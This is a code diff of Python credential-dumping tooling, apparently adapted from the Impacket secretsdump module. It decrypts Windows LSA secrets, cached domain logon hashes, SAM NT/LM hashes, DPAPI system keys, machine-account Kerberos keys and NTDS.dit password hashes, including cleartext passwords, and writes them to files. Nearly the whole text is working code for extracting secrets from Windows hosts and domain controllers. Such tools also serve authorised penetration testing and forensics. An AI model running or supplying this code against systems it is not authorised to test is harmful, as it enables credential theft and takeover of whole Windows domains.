+ record = LSA_SECRET(value)
+ sha = hashlib.sha256()
+ sha.update(key)
+ for i in range(1000):
+ sha.update(record['EncryptedData'][:32])
+ tmpKey = sha.digest()
+ plainText = CryptoCommon().decryptAES(tmpKey, record['EncryptedData'][32:])
+
+ if NKLM:
+ return plainText
+
+ record = LSA_SECRET_BLOB(plainText)
+ return record['Secret']
+ else:
+ # [MS-LSAD] Section 5.1.2
+ plainText = b''
+
+ encryptedSecretSize = unpack(' 0:
+ return data + (data & 0x3)
+ else:
+ return data
+
+def decryptCachedEntry(value, NKLMKey, iteration_count, vista_style):
+
+ record = NL_RECORD(value)
+ if vista_style is True:
+ plainText = CryptoCommon().decryptAES(NKLMKey[16:32], record['EncryptedData'], record['IV'])
+ else:
+ plainText = decryptHash(record['EncryptedData'], NKLMKey, record['IV'])
+ pass
+
+ encHash = plainText[:0x10]
+ plainText = plainText[0x48:]
+ userName = plainText[:record['UserLength']].decode('utf-16le')
+ plainText = plainText[pad(record['UserLength']) + pad(record['DomainNameLength']):]
+ domainLong = plainText[:pad(record['DnsDomainNameLength'])].decode('utf-16le')
+ timestamp = datetime.utcfromtimestamp(getUnixTime(record['LastWrite']))
+
+ if vista_style is True:
+ answer = "%s/%s:$DCC2$%s#%s#%s: (%s)" % (domainLong, userName, iteration_count, userName, hexlify(encHash).decode('utf-8'), timestamp)
+ else:
+ answer = "%s/%s:%s:%s: (%s)" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName, timestamp)
+
+ return (domainLong, userName, encHash, iteration_count, answer, timestamp)
+
+def formatSecret(secret_name: str, secret_bytes: bytes) -> str:
+ """
+ Formats a secret to its appropriate string representation.
+
+ Adapted from __printSecret.
+ """
+
+ secret_name_upper = secret_name.upper()
+
+ if len(secret_bytes) == 0:
+ return ""
+
+ elif secret_bytes.startswith(b'\x00\x00\x00'):
+ return ""
+
+ elif secret_name_upper.startswith("_SC_"):
+ return secret_bytes.decode('utf-16le')
+
+ elif secret_name_upper.startswith("DEFAULTPASSWORD"):
+ return secret_bytes.decode('utf-16le')
+
+ elif secret_name_upper.startswith('ASPNET_WP_PASSWORD'):
+ return secret_bytes.decode('utf-16le')
+
+ elif secret_name_upper.startswith('DPAPI_SYSTEM'):
+ dpapi = DPAPI_SYSTEM(secret_bytes)
+ return f"{hexlify(dpapi['MachineKey']).decode('latin-1')}:{hexlify(dpapi['UserKey']).decode('latin-1')}"
+
+ elif secret_name_upper.startswith('$MACHINE.ACC'):
+ md4 = MD4.new()
+ md4.update(secret_bytes)
+ return f"{hexlify(ntlm.LMOWFv1('','')).decode('utf-8')}:{hexlify(md4.digest()).decode('utf-8')}"
+
+ elif re.match(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', secret_name_upper) is not None:
+ # Decode stored security questions
+ sid = re.search(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', secret_name_upper).group(1)
+ try:
+ strDecoded = secret_name_upper.decode('utf-16le').replace('\xa0',' ')
+ strDecoded = json.loads(strDecoded)
+ except:
+ pass
+ else:
+ output = []
+ if strDecoded['version'] == 1:
+ output.append(" - Version : %d" % strDecoded['version'])
+ for qk in strDecoded['questions']:
+ output.append(" | Question: %s" % qk['question'])
+ output.append(" | |--> Answer: %s" % qk['answer'])
+ output = '\n'.join(output)
+ secret = 'Security Questions for user %s: \n%s' % (sid, output)
+ else:
+ secret = json.dumps(strDecoded, indent=4)
+ return secret
+
+ else:
+ return secret_bytes.hex()
+
+def MD5(data):
+ md5 = hashlib.new('md5')
+ md5.update(data)
+ return md5.digest()
+
+def getHBootKey(F, bootKey):
+ LOG.debug('Calculating HashedBootKey from SAM')
+ QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+ DIGITS = b"0123456789012345678901234567890123456789\0"
+
+ domainData = DOMAIN_ACCOUNT_F(F)
+
+ if domainData['Key0'][0:1] == b'\x01':
+ samKeyData = SAM_KEY_DATA(domainData['Key0'])
+
+ rc4Key = MD5(samKeyData['Salt'] + QWERTY + bootKey + DIGITS)
+ rc4 = ARC4.new(rc4Key)
+ hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])
+
+ # Verify key with checksum
+ checkSum = MD5( hashedBootKey[:16] + DIGITS +hashedBootKey[:16] + QWERTY)
+
+ if checkSum != hashedBootKey[16:]:
+ raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
+
+ elif domainData['Key0'][0:1] == b'\x02':
+ # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
+ samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
+
+ hashedBootKey = CryptoCommon().decryptAES(bootKey, samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
+
+ return hashedBootKey
+
+def decryptSAMHash(rid, cryptedHashBytes, hashedBootKey, is_nt):
+ # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
+ # plus hashedBootKey stuff
+
+ if is_nt:
+ constant = b"NTPASSWORD\0"
+ else:
+ constant = b"LMPASSWORD\0"
+
+ Key1,Key2 = CryptoCommon().deriveKey(rid)
+
+ Crypt1 = DES.new(Key1, DES.MODE_ECB)
+ Crypt2 = DES.new(Key2, DES.MODE_ECB)
+
+ try:
+ cryptedHash = SAM_HASH_AES(cryptedHashBytes)
+ except:
+ try:
+ cryptedHash = SAM_HASH(cryptedHashBytes)
+ except:
+ return None
+
+ try:
+ key = CryptoCommon().decryptAES(hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]
+ except:
+ try:
+ rc4Key = MD5( hashedBootKey[:0x10] + pack(" 0:
+ return data + (data & 0x3)
+ else:
+ return data
+
+ def dumpCachedHashes(self):
+ if self.__securityFile is None:
+ # No SECURITY file provided
+ return
+
+ LOG.info('Dumping cached domain logon information (domain/username:hash)')
+
+ # Let's first see if there are cached entries
+ values = self.enumValues('\\Cache')
+ if values is None:
+ # No cache entries
+ return
+ try:
+ # Remove unnecessary value
+ values.remove(b'NL$Control')
+ except:
+ pass
+
+ iterationCount = 10240
+
+ if b'NL$IterationCount' in values:
+ values.remove(b'NL$IterationCount')
+
+ record = self.getValue('\\Cache\\NL$IterationCount')[1]
+ if record > 10240:
+ iterationCount = record & 0xfffffc00
+ else:
+ iterationCount = record * 1024
+
+ self.__getLSASecretKey()
+ self.__getNLKMSecret()
+
+ for value in values:
+ LOG.debug('Looking into %s' % value.decode('utf-8'))
+ record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])
+ if record['IV'] != 16 * b'\x00':
+ #if record['UserLength'] > 0:
+ if record['Flags'] & 1 == 1:
+ # Encrypted
+ if self.__vistaStyle is True:
+ plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
+ else:
+ plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
+ pass
+ else:
+ # Plain! Until we figure out what this is, we skip it
+ #plainText = record['EncryptedData']
+ continue
+ encHash = plainText[:0x10]
+ plainText = plainText[0x48:]
+ userName = plainText[:record['UserLength']].decode('utf-16le')
+ plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]
+ domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
+ timestamp = datetime.utcfromtimestamp(getUnixTime(record['LastWrite']))
+
+ if self.__vistaStyle is True:
+ answer = "%s/%s:$DCC2$%s#%s#%s: (%s)" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'), timestamp)
+ else:
+ answer = "%s/%s:%s:%s: (%s)" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName, timestamp)
+
+ self.__cachedItems.append(answer)
+ self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
+
+ def dumpCachedHashesEnc(self):
+ # Let's first see if there are cached entries
+ values = self.enumValues('\\Cache')
+ if values is None:
+ # No cache entries
+ return
+ try:
+ # Remove unnecessary value
+ values.remove(b'NL$Control')
+ except:
+ pass
+
+ iterationCount = 10240
+
+ if b'NL$IterationCount' in values:
+ values.remove(b'NL$IterationCount')
+
+ record = self.getValue('\\Cache\\NL$IterationCount')[1]
+ if record > 10240:
+ iterationCount = record & 0xfffffc00
+ else:
+ iterationCount = record * 1024
+
+ domainCachedCreds = []
+
+ for value in values:
+ raw_value = self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1]
+ record = NL_RECORD(raw_value)
+ if record['IV'] != 16 * b'\x00':
+ if record['Flags'] & 1 == 1:
+ domainCachedCreds.append((iterationCount, raw_value))
+
+ return domainCachedCreds
+
+ def __printSecret(self, name, secretItem):
+ # Based on [MS-LSAD] section 3.1.1.4
+
+ # First off, let's discard NULL secrets.
+ if len(secretItem) == 0:
+ LOG.debug('Discarding secret %s, NULL Data' % name)
+ return
+
+ # We might have secrets with zero
+ if secretItem.startswith(b'\x00\x00'):
+ LOG.debug('Discarding secret %s, all zeros' % name)
+ return
+
+ upperName = name.upper()
+
+ LOG.info('%s ' % name)
+
+ secret = ''
+
+ if upperName.startswith('_SC_'):
+ # Service name, a password might be there
+ # Let's first try to decode the secret
+
+ secret += f"Service {upperName[4:]} "
+
+ try:
+ strDecoded = secretItem.decode('utf-16le')
+ except:
+ pass
+ else:
+ # We have to get the account the service
+ # runs under
+ if hasattr(self.__remoteOps, 'getServiceAccount'):
+ account = self.__remoteOps.getServiceAccount(name[4:])
+ if account is None:
+ secret += self.UNKNOWN_USER + ' '
+ else:
+ secret += "%s " % account
+ else:
+ # We don't support getting this info for local targets at the moment
+ secret += self.UNKNOWN_USER + ' '
+ secret += strDecoded
+ elif upperName.startswith('DEFAULTPASSWORD'):
+ # defaults password for winlogon
+ # Let's first try to decode the secret
+ try:
+ strDecoded = secretItem.decode('utf-16le')
+ except:
+ pass
+ else:
+ # We have to get the account this password is for
+ if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):
+ account = self.__remoteOps.getDefaultLoginAccount()
+ if account is None:
+ secret = self.UNKNOWN_USER + ':'
+ else:
+ secret = "%s:" % account
+ else:
+ # We don't support getting this info for local targets at the moment
+ secret = self.UNKNOWN_USER + ':'
+ secret += strDecoded
+ elif upperName.startswith('ASPNET_WP_PASSWORD'):
+ try:
+ strDecoded = secretItem.decode('utf-16le')
+ except:
+ pass
+ else:
+ secret = 'ASPNET: %s' % strDecoded
+ elif upperName.startswith('DPAPI_SYSTEM'):
+ # Decode the DPAPI Secrets
+ dpapi = DPAPI_SYSTEM(secretItem)
+ secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),
+ hexlify(dpapi['UserKey']).decode('latin-1'))
+ elif upperName.startswith('$MACHINE.ACC'):
+ # compute MD4 of the secret.. yes.. that is the nthash? :-o
+ md4 = MD4.new()
+ md4.update(secretItem)
+ if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):
+ machine, domain = self.__remoteOps.getMachineNameAndDomain()
+ printname = "%s\\%s$" % (domain, machine)
+ secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
+ hexlify(md4.digest()).decode('utf-8'))
+ else:
+ printname = "$MACHINE.ACC"
+ secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
+ hexlify(md4.digest()).decode('utf-8'))
+ # Attempt to calculate and print Kerberos keys
+ if not self.__printMachineKerberos(secretItem, printname):
+ LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')
+ # Always print plaintext anyway since this may be needed for some popular usecases
+ extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))
+ self.__secretItems.append(extrasecret)
+ # self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
+ elif re.match(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:
+ # Decode stored security questions
+ sid = re.search(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)
+ try:
+ strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ')
+ strDecoded = json.loads(strDecoded)
+ except:
+ pass
+ else:
+ output = []
+ if strDecoded['version'] == 1:
+ output.append(" - Version : %d" % strDecoded['version'])
+ for qk in strDecoded['questions']:
+ output.append(" | Question: %s" % qk['question'])
+ output.append(" | |--> Answer: %s" % qk['answer'])
+ output = '\n'.join(output)
+ secret = 'Security Questions for user %s: \n%s' % (sid, output)
+ else:
+ LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version']))
+ LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.")
+ secret = json.dumps(strDecoded, indent=4)
+
+ if secret != '':
+ printableSecret = secret
+ self.__secretItems.append(secret)
+ # self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
+ else:
+ # Default print, hexdump
+ printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))
+ self.__secretItems.append(printableSecret)
+ # # If we're using the default callback (ourselves), we print the hex representation. If not, the
+ # # user will need to decide what to do.
+ # if self.__module__ == self.__perSecretCallback.__module__:
+ # hexdump(secretItem)
+ # self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)
+
+ def __printMachineKerberos(self, rawsecret, machinename):
+ # Attempt to create Kerberos keys from machine account (if possible)
+ if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):
+ salt = self.__remoteOps.getMachineKerberosSalt()
+ if salt == b'':
+ return False
+ else:
+ allciphers = [
+ int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
+ int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
+ int(constants.EncryptionTypes.des_cbc_md5.value)
+ ]
+ # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount
+ # of invalid unicode characters.
+ # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft
+ # implicitly replaces those when converting utf-16 to utf-8.
+ # When we use the same method we get the valid password -> key mapping :)
+ rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
+ for etype in allciphers:
+ try:
+ key = string_to_key(etype, rawsecret, salt, None)
+ except Exception:
+ LOG.debug('Exception', exc_info=True)
+ raise
+ typename = NTDSHashes.KERBEROS_TYPE[etype]
+ secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))
+ self.__secretItems.append(secret)
+ self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)
+ return True
+ else:
+ return False
+
+ def dumpSecretsEnc(self):
+ # Let's first see if there are cached entries
+ keys = self.enumKey('\\Policy\\Secrets')
+ if keys is None:
+ # No entries
+ return
+ try:
+ # Remove unnecessary value
+ keys.remove(b'NL$Control')
+ except:
+ pass
+
+ enc_keys = []
+
+ for key in keys:
+ LOG.debug('Looking into %s' % key)
+ valueTypeList = ['CurrVal']
+ # Check if old LSA secrets values are also need to be shown
+ if self.__history:
+ valueTypeList.append('OldVal')
+
+ for valueType in valueTypeList:
+ value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
+ if value is not None and value[1] != 0:
+ # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
+ # also be consistent with NTDS history
+ if valueType == 'OldVal':
+ key += '_history'
+ enc_keys.append((key, value[1]))
+ return(enc_keys)
+
+ def dumpSecrets(self):
+ if self.__securityFile is None:
+ # No SECURITY file provided
+ return
+
+ LOG.info('Dumping LSA Secrets')
+
+ # Let's first see if there are cached entries
+ keys = self.enumKey('\\Policy\\Secrets')
+ if keys is None:
+ # No entries
+ return
+ try:
+ # Remove unnecessary value
+ keys.remove(b'NL$Control')
+ except:
+ pass
+
+ if self.__LSAKey == b'':
+ self.__getLSASecretKey()
+
+ for key in keys:
+ LOG.debug('Looking into %s' % key)
+ valueTypeList = ['CurrVal']
+ # Check if old LSA secrets values are also need to be shown
+ if self.__history:
+ valueTypeList.append('OldVal')
+
+ for valueType in valueTypeList:
+ # print('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
+ value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
+ if value is not None and value[1] != 0:
+ if self.__vistaStyle is True:
+ record = LSA_SECRET(value[1])
+ tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
+ plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
+ record = LSA_SECRET_BLOB(plainText)
+ secret = record['Secret']
+ # print(f"{key} : {secret.hex()}\n")
+ else:
+ secret = self.__decryptSecret(self.__LSAKey, value[1])
+
+ # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
+ # also be consistent with NTDS history
+ if valueType == 'OldVal':
+ key += '_history'
+ self.__printSecret(key, secret)
+
+ def exportSecrets(self, baseFileName, openFileFunc = None):
+ if len(self.__secretItems) > 0:
+ fileName = baseFileName+'.secrets'
+ fd = openFile(fileName, openFileFunc=openFileFunc)
+ for item in self.__secretItems:
+ fd.write(item+'\n')
+ fd.close()
+ return fileName
+
+ def exportCached(self, baseFileName, openFileFunc = None):
+ if len(self.__cachedItems) > 0:
+ fileName = baseFileName+'.cached'
+ fd = openFile(fileName, openFileFunc=openFileFunc)
+ for item in self.__cachedItems:
+ fd.write(item+'\n')
+ fd.close()
+ return fileName
+
+
+class ResumeSessionMgrInFile(object):
+ def __init__(self, resumeFileName=None):
+ self.__resumeFileName = resumeFileName
+ self.__resumeFile = None
+ self.__hasResumeData = resumeFileName is not None
+
+ def hasResumeData(self):
+ return self.__hasResumeData
+
+ def clearResumeData(self):
+ self.endTransaction()
+ if self.__resumeFileName and os.path.isfile(self.__resumeFileName):
+ os.remove(self.__resumeFileName)
+
+ def writeResumeData(self, data):
+ # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
+ self.__resumeFile.seek(0, 0)
+ self.__resumeFile.truncate(0)
+ self.__resumeFile.write(data.encode())
+ self.__resumeFile.flush()
+
+ def getResumeData(self):
+ try:
+ self.__resumeFile = open(self.__resumeFileName,'rb')
+ except Exception as e:
+ raise Exception('Cannot open resume session file name %s' % str(e))
+ resumeSid = self.__resumeFile.read()
+ self.__resumeFile.close()
+ # Truncate and reopen the file as wb+
+ self.__resumeFile = open(self.__resumeFileName,'wb+')
+ return resumeSid.decode('utf-8')
+
+ def getFileName(self):
+ return self.__resumeFileName
+
+ def beginTransaction(self):
+ if not self.__resumeFileName:
+ self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))
+ LOG.debug('Session resume file will be %s' % self.__resumeFileName)
+ if not self.__resumeFile:
+ try:
+ self.__resumeFile = open(self.__resumeFileName, 'wb+')
+ except Exception as e:
+ raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))
+
+ def endTransaction(self):
+ if self.__resumeFile:
+ self.__resumeFile.close()
+ self.__resumeFile = None
+
+
+class NTDSHashes:
+ class SECRET_TYPE:
+ NTDS = 0
+ NTDS_CLEARTEXT = 1
+ NTDS_KERBEROS = 2
+
+ NAME_TO_INTERNAL = {
+ 'uSNCreated':b'ATTq131091',
+ 'uSNChanged':b'ATTq131192',
+ 'name':b'ATTm3',
+ 'objectGUID':b'ATTk589826',
+ 'objectSid':b'ATTr589970',
+ 'userAccountControl':b'ATTj589832',
+ 'primaryGroupID':b'ATTj589922',
+ 'accountExpires':b'ATTq589983',
+ 'logonCount':b'ATTj589993',
+ 'sAMAccountName':b'ATTm590045',
+ 'sAMAccountType':b'ATTj590126',
+ 'lastLogonTimestamp':b'ATTq589876',
+ 'userPrincipalName':b'ATTm590480',
+ 'unicodePwd':b'ATTk589914',
+ 'dBCSPwd':b'ATTk589879',
+ 'ntPwdHistory':b'ATTk589918',
+ 'lmPwdHistory':b'ATTk589984',
+ 'pekList':b'ATTk590689',
+ 'supplementalCredentials':b'ATTk589949',
+ 'pwdLastSet':b'ATTq589920',
+ }
+
+ NAME_TO_ATTRTYP = {
+ 'userPrincipalName': 0x90290,
+ 'sAMAccountName': 0x900DD,
+ 'unicodePwd': 0x9005A,
+ 'dBCSPwd': 0x90037,
+ 'ntPwdHistory': 0x9005E,
+ 'lmPwdHistory': 0x900A0,
+ 'supplementalCredentials': 0x9007D,
+ 'objectSid': 0x90092,
+ 'userAccountControl':0x90008,
+ }
+
+ ATTRTYP_TO_ATTID = {
+ 'userPrincipalName': '1.2.840.113556.1.4.656',
+ 'sAMAccountName': '1.2.840.113556.1.4.221',
+ 'unicodePwd': '1.2.840.113556.1.4.90',
+ 'dBCSPwd': '1.2.840.113556.1.4.55',
+ 'ntPwdHistory': '1.2.840.113556.1.4.94',
+ 'lmPwdHistory': '1.2.840.113556.1.4.160',
+ 'supplementalCredentials': '1.2.840.113556.1.4.125',
+ 'objectSid': '1.2.840.113556.1.4.146',
+ 'pwdLastSet': '1.2.840.113556.1.4.96',
+ 'userAccountControl':'1.2.840.113556.1.4.8',
+ }
+
+ KERBEROS_TYPE = {
+ 1:'dec-cbc-crc',
+ 3:'des-cbc-md5',
+ 17:'aes128-cts-hmac-sha1-96',
+ 18:'aes256-cts-hmac-sha1-96',
+ 0xffffff74:'rc4_hmac',
+ }
+
+ INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())
+
+ SAM_NORMAL_USER_ACCOUNT = 0x30000000
+ SAM_MACHINE_ACCOUNT = 0x30000001
+ SAM_TRUST_ACCOUNT = 0x30000002
+
+ ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
+
+ class PEKLIST_ENC(Structure):
+ structure = (
+ ('Header','8s=b""'),
+ ('KeyMaterial','16s=b""'),
+ ('EncryptedPek',':'),
+ )
+
+ class PEKLIST_PLAIN(Structure):
+ structure = (
+ ('Header','32s=b""'),
+ ('DecryptedPek',':'),
+ )
+
+ class PEK_KEY(Structure):
+ structure = (
+ ('Header','1s=b""'),
+ ('Padding','3s=b""'),
+ ('Key','16s=b""'),
+ )
+
+ class CRYPTED_HASH(Structure):
+ structure = (
+ ('Header','8s=b""'),
+ ('KeyMaterial','16s=b""'),
+ ('EncryptedHash','16s=b""'),
+ )
+
+ class CRYPTED_HASHW16(Structure):
+ structure = (
+ ('Header','8s=b""'),
+ ('KeyMaterial','16s=b""'),
+ ('Unknown',' 24:
+ if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
+ domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
+ userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
+ else:
+ userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
+ cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
+
+ if cipherText['Header'][:4] == b'\x13\x00\x00\x00':
+ # Win2016 TP4 decryption is different
+ pekIndex = hexlify(cipherText['Header'])
+ plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+ cipherText['EncryptedHash'][4:],
+ cipherText['KeyMaterial'])
+ haveInfo = True
+ else:
+ plainText = self.__removeRC4Layer(cipherText)
+ haveInfo = True
+ else:
+ domain = None
+ userName = None
+ replyVersion = 'V%d' % record['pdwOutVersion']
+ for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
+ try:
+ attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
+ LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
+ except Exception as e:
+ LOG.debug('Failed to execute OidFromAttid with error %s' % e)
+ LOG.debug('Exception', exc_info=True)
+ # Fallbacking to fixed table and hope for the best
+ attId = attr['attrTyp']
+ LOOKUP_TABLE = self.NAME_TO_ATTRTYP
+
+ if attId == LOOKUP_TABLE['userPrincipalName']:
+ if attr['AttrVal']['valCount'] > 0:
+ try:
+ domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
+ except:
+ domain = None
+ else:
+ domain = None
+ elif attId == LOOKUP_TABLE['sAMAccountName']:
+ if attr['AttrVal']['valCount'] > 0:
+ try:
+ userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
+ except:
+ LOG.error(
+ 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+ userName = 'unknown'
+ else:
+ LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+ userName = 'unknown'
+ if attId == LOOKUP_TABLE['supplementalCredentials']:
+ if attr['AttrVal']['valCount'] > 0:
+ blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+ plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
+ if len(plainText) > 24:
+ haveInfo = True
+ if domain is not None:
+ userName = '%s\\%s' % (domain, userName)
+
+ if haveInfo is True:
+ try:
+ userProperties = samr.USER_PROPERTIES(plainText)
+ except:
+ # On some old w2k3 there might be user properties that don't
+ # match [MS-SAMR] structure, discarding them
+ return
+ propertiesData = userProperties['UserProperties']
+ for propertyCount in range(userProperties['PropertyCount']):
+ userProperty = samr.USER_PROPERTY(propertiesData)
+ propertiesData = propertiesData[len(userProperty):]
+ # For now, we will only process Newer Kerberos Keys and CLEARTEXT
+ if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
+ propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
+ kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
+ data = kerbStoredCredentialNew['Buffer']
+ for credential in range(kerbStoredCredentialNew['CredentialCount']):
+ keyDataNew = samr.KERB_KEY_DATA_NEW(data)
+ data = data[len(keyDataNew):]
+ keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
+
+ if keyDataNew['KeyType'] in self.KERBEROS_TYPE:
+ answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))
+ else:
+ answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))
+ # We're just storing the keys, not printing them, to make the output more readable
+ # This is kind of ugly... but it's what I came up with tonight to get an ordered
+ # set :P. Better ideas welcomed ;)
+ self.__kerberosKeys[answer] = None
+ if keysFile is not None:
+ self.__writeOutput(keysFile, answer + '\n')
+ elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
+ # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
+ # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
+ try:
+ answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
+ except UnicodeDecodeError:
+ # This could be because we're decoding a machine password. Printing it hex
+ answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))
+
+ self.__clearTextPwds[answer] = None
+ if clearTextFile is not None:
+ self.__writeOutput(clearTextFile, answer + '\n')
+
+ if clearTextFile is not None:
+ clearTextFile.flush()
+ if keysFile is not None:
+ keysFile.flush()
+
+ LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
+
+ def __decryptHash(self, record, prefixTable=None, outputFile=None):
+ LOG.debug('Entering NTDSHashes.__decryptHash')
+ if self.__useVSSMethod is True:
+ LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
+
+ sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
+ rid = sid.formatCanonical().split('-')[-1]
+
+ if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
+ encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
+ if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':
+ # Win2016 TP4 decryption is different
+ encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
+ pekIndex = hexlify(encryptedLMHash['Header'])
+ tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+ encryptedLMHash['EncryptedHash'][:16],
+ encryptedLMHash['KeyMaterial'])
+ else:
+ tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
+ LMHash = self.__removeDESLayer(tmpLMHash, rid)
+ else:
+ LMHash = ntlm.LMOWFv1('', '')
+
+ if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
+ encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
+ if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00':
+ # Win2016 TP4 decryption is different
+ encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
+ pekIndex = hexlify(encryptedNTHash['Header'])
+ tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+ encryptedNTHash['EncryptedHash'][:16],
+ encryptedNTHash['KeyMaterial'])
+ else:
+ tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
